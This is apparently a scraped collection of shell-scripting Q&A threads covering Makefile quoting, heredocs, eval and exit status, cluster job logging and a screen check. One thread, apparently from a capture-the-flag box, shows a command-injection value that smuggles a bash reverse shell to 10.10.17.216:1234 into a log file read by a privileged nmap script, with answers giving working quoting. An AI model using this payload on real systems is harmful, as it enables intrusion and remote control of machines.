I have the following code in a Makefile:
NODES = celery1 celery2 celery3 priority export
get-status = /bin/bash -c "ps -p `/bin/bash -c '[ -a log/$(1).pid ] && cat log/$(1).pid || echo 1'` -o command= | grep $(1) > /dev/null && echo \"[$(1)] Appears to be running\" || eval 'echo \"[$(1)] Not running\" && exit 1'"
celery-status:
for n in ${NODES}; do $(call get-status,$$n); done
I can't manage to make it work. And when I do:
get-status = /bin/bash -c "ps -p `/bin/bash -c '[ -a log/$(1).pid ] && cat log/$(1).pid || echo $(1)'` -o command= | grep $(1) > /dev/null && echo \"[$(1)] Appears to be running\" || eval 'echo \"[$(1)] Not running\" && exit 1'" 1 displaying the argument instead of 1
celery-status:
for n in ${NODES}; do echo $(call get-status,$$n); done # echo the statements
Here is the output:
/bin/bash -c ps -p -o command= | grep celery1 > /dev/null && echo "[celery1] Appears to be running" || eval 'echo "[celery1] Not running" && exit 1'
/bin/bash -c ps -p -o command= | grep celery2 > /dev/null && echo "[celery2] Appears to be running" || eval 'echo "[celery2] Not running" && exit 1'
/bin/bash -c ps -p -o command= | grep celery3 > /dev/null && echo "[celery3] Appears to be running" || eval 'echo "[celery3] Not running" && exit 1'
/bin/bash -c ps -p -o command= | grep priority > /dev/null && echo "[priority] Appears to be running" || eval 'echo "[priority] Not running" && exit 1'
/bin/bash -c ps -p -o command= | grep export > /dev/null && echo "[export] Appears to be running" || eval 'echo "[export] Not running" && exit 1'
It looks like the $(1) does not work, maybe I'm not escaping correctly.
I'm a bit desperate here :/
Related
When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers
Can anybody show me how to escape a shell command in bash script written by another bash script ?
For example my script looks like:
sudo sh -c "echo \"if who | grep tty | grep \`whoami\` > /dev/null\" > test.sh"
sudo sh -c "echo \"then\" >> test.sh"
sudo sh -c "echo \" echo ' log in '\" >> test.sh"
sudo sh -c "echo \"else\" >> test.sh"
sudo sh -c "echo \" exit\" >> test.sh"
sudo sh -c "echo \"fi\" >> test.sh"
I want that the script test.sh contains
if who | grep tty | grep `whoami`> /dev/null
then
echo 'user is log in '
else
exit
fi
Actually the command whoami is replaced by root.
Solution:
sudo tee /usr/local/bin/test.sh << 'EOF'
if who | grep tty | grep `whoami`> /dev/null
then
echo 'user is log in '
else
exit
fi
EOF
Complex quotes are most easily handled with a heredoc:
cat > test.sh << 'EOF'
if who | grep tty | grep `whoami`> /dev/null
then
echo 'user is log in '
else
exit
fi
EOF
I'd like to get exit status of the command passed as argument (to my sh script called a.sh).
I've tried:
#!/bin/sh
CMD="$#"
echo "arg passed CMD: $CMD"
($CMD) >/dev/null 2>&1
res=$?
echo "exit status: $res"
CMD="echo aaa | grep -q zzz"
echo "in script CMD: $CMD"
($CMD) >/dev/null 2>&1
res=$?
echo "exit status: $res"
Once executing:
./a.sh 'echo aa | grep -q zzz'
arg passed CMD: echo aa | grep -q zzz
exit status: 0
in script CMD: echo aaa | grep -q zzz
exit status: 0
However if I run the command directly in shell I see:
/bin/sh -c 'echo aa | grep -q zzz ; echo $?'
1
How should my script look like, to get the correct status 1 instead of 0 of the executed command?
$(CMD) output were aaa | grep -q zzz that is why it return with exit 0. Just remove the redirection to /dev/null and you will see.
You could use eval to run commands from variables.
#!/bin/sh
CMD="$#"
echo "arg passed CMD: $CMD"
eval $CMD >/dev/null 2>&1
res=$?
echo "exit status: $res"
CMD="echo aaa | grep -q zzz"
echo "in script CMD: $CMD"
eval $CMD >/dev/null 2>&1
res=$?
echo "exit status: $res"
I was writing a script for submitting parallel jobs in cluster using bsub command
while read p; do
cd $(echo $p | tr -d '\r')
echo Submitting test: $p
bsub -P <project> -Jd <job desc> -o lsf.log "sh ./run_test.sh &> $log"
cd - &> /dev/null
done < $filename
How can I compile the results at the end of all test runs?
How about using something like this?
while read p; do
cd "$(echo "$p" | tr -d '\r')"
echo "Submitting test: $p"
bsub -P <project> -Jd <job desc> -o lsf.log \
"sh ./run_test.sh &> '$log' && cat '$log' >> /path/to/combined/log"
cd - &> /dev/null
done < "$filename"
When each job finishes successfully, the output file is concatenated with the rest.
I have a issue with my Script, i am just trying to fingure out if my screen session is running or not (line 19).
The rest of the script is working.
#!/bin/bash
echo $PATH // /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
echo "0"
content=$(wget http://interwebs.com/index.php?page=count -q -O -)
z=$(($content / 5))
z=$(($z + 1))
echo $z // 4
lockfile=/var/tmp/mylock
if ( set -o noclobber; echo "$$" > "$lockfile") 2> /dev/null; then
trap 'rm -f "$lockfile"; exit $?' INT TERM EXIT
# do stuff here
x=1
count=0
while [ $x -le $z ]
do
$req ="$(ps -ef | grep -i mystatus$count | grep -v grep)"
if [ "$req" = "" ]; then
# run bash script
screen -amds mystatus$count /usr/bin/wget --spider interwebs.com/index.php?page=cronwhatsoever$(( $count +1))-$(( $count +5))
else
echo "Cron running"
fi
x=$(( $x + 1 ))
count=$(( $count +5))
done
# clean up after yourself, and release your trap
rm -f "$lockfile"
trap - INT TERM EXIT
else
echo "Lock Exists: $lockfile owned by $(cat $lockfile)"
fi
sleep 15
It returns line 19: =: command not found. Actually running:
ps -ef | grep -i bukkit | grep -v grep
Works without issues if i run it directly in my Terminal, so any idea how to solve this issue?
I guess it something PATH related but grep is located in /bin/grep.
$req ="$(ps -ef | grep -i mystatus$count | grep -v grep)"
should be
req="$(ps -ef | grep -i mystatus$count | grep -v grep)"
Don't use $ on the left-hand side of an assignment, and you must not have spaces around the =